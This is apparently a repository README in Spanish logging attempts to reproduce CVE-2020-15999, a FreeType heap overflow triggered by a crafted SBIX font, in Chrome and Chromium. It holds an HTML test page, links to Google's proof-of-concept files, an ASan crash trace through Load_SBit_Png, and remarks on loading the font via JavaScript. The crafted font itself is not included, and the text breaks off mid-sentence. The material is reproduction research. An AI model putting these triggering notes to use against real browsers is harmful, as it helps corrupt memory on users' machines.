oxfemale/cve-2020-15999CVE-2020-15999
CVE-2020-15999
Añadida fuente con tabla SBIX (basada en Arial) - https://docs.microsoft.com/en-us/typography/opentype/spec/sbix
Se bloquea en ftview (asan.png), pero por alguna razón no consigo que Chrome se bloquee.
Los indicadores tampoco se establecen correctamente, por lo que load_sbit_image() tampoco se llama. Extraño.
Llamándolo así:
index.html```
<link rel="stylesheet" href="style.css" type="text/css" media="all" />
<style>
.sample {
font-family: 'UntitledTTF';
border: 1px solid #ddd;
display: inline-block;
padding: 10px;
}
</style>
</head>
<body>
<p class="sample">
The quick brown fox jumps over the lazy dog
</p>
</body>
Conseguí hacer que Chrome crasheara ... tuve que ajustar algunos parámetros de fuente en el depurador, lo que significa que posiblemente también puedas hacerlo en la fuente. Permanece atento.
Esto debería activarlo (PoC de Google). Veo que la fuente se carga mediante JavaScript, por lo que es diferente a mi intento:
https://bugs.chromium.org/p/chromium/issues/attachmentText?aid=472035
Lo depuraré según tenga tiempo...
Hice toda la depuración anterior con Chromium, parece que el código base difiere entonces. Eso podría explicar bastante.
Con Chrome, el PoC de Google funciona: https://bugs.chromium.org/p/chromium/issues/attachmentText?aid=472398
Con Chromium no.
Parece que se detiene en varias comprobaciones. Si las configuro para que pasen, entonces crashea con todos los PoCs:``` Received signal 11 SEGV_MAPERR 000000000000 #0 0x55555d7ace0b in backtrace /b/s/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/../sanitizer_common/sanitizer_common_interceptors.inc:4176:13 #1 0x7ffff796c8df in base::debug::CollectStackTrace(void**, unsigned long) ./../../base/debug/stack_trace_posix.cc:833:39 #2 0x7ffff7247239 in base::debug::StackTrace::StackTrace(unsigned long) ./../../base/debug/stack_trace.cc:198:12 #3 0x7ffff7247098 in base::debug::StackTrace::StackTrace() ./../../base/debug/stack_trace.cc:195:28 #4 0x7ffff796ae6d in base::debug::(anonymous namespace)::StackDumpSignalHandler(int, siginfo_t*, void*) ./../../base/debug/stack_trace_posix.cc:345:3 #5 0x7fff555c48a0 in __funlockfile ??:? #6 0x7fff555c48a0 in ?? ??:0 #7 0x7fff51cfd5ee in ?? /build/glibc-2ORdQG/glibc-2.27/string/../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:277:0 #8 0x55555d7efca2 in __asan_memcpy /b/s/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cpp:22:3 #9 0x7fffa01df08f in read_data_from_FT_Stream ./../../third_party/freetype/src/src/sfnt/pngshim.c:245:5 #10 0x7fffa0865f6d in cr_png_read_data ./../../third_party/libpng/pngrio.c:37:7 #11 0x7fffa08927b0 in cr_png_read_sig ./../../third_party/libpng/pngrutil.c:137:4 #12 0x7fffa0852e02 in cr_png_read_info ./../../third_party/libpng/pngread.c:104:4 #13 0x7fffa01dd6a3 in Load_SBit_Png ./../../third_party/freetype/src/src/sfnt/pngshim.c:322:5 #14 0x7fffa01d9440 in tt_face_load_sbix_image ./../../third_party/freetype/src/src/sfnt/ttsbit.c:1548:15 #15 0x7fffa01aa6d7 in tt_face_load_sbit_image ./../../third_party/freetype/src/src/sfnt/ttsbit.c:1611:15 #16 0x7fffa0246ddb in load_sbit_image ./../../third_party/freetype/src/src/truetype/ttgload.c:2429:13 #17 0x7fffa0244f77 in TT_Load_Glyph ./../../third_party/freetype/src/src/truetype/ttgload.c:2834:15 #18 0x7fffa020467e in tt_glyph_load ./../../third_party/freetype/src/src/truetype/ttdriver.c:474:13 #19 0x7fffa005ff2f in FT_Load_Glyph ./../../third_party/freetype/src/src/base/ftobjs.c:948:15
## Actualización 4
Nah ... todo es correcto.
Para activarlo necesitas cargar la fuente mediante JavaScript; cargarla mediante CSS no funciona:
es decir```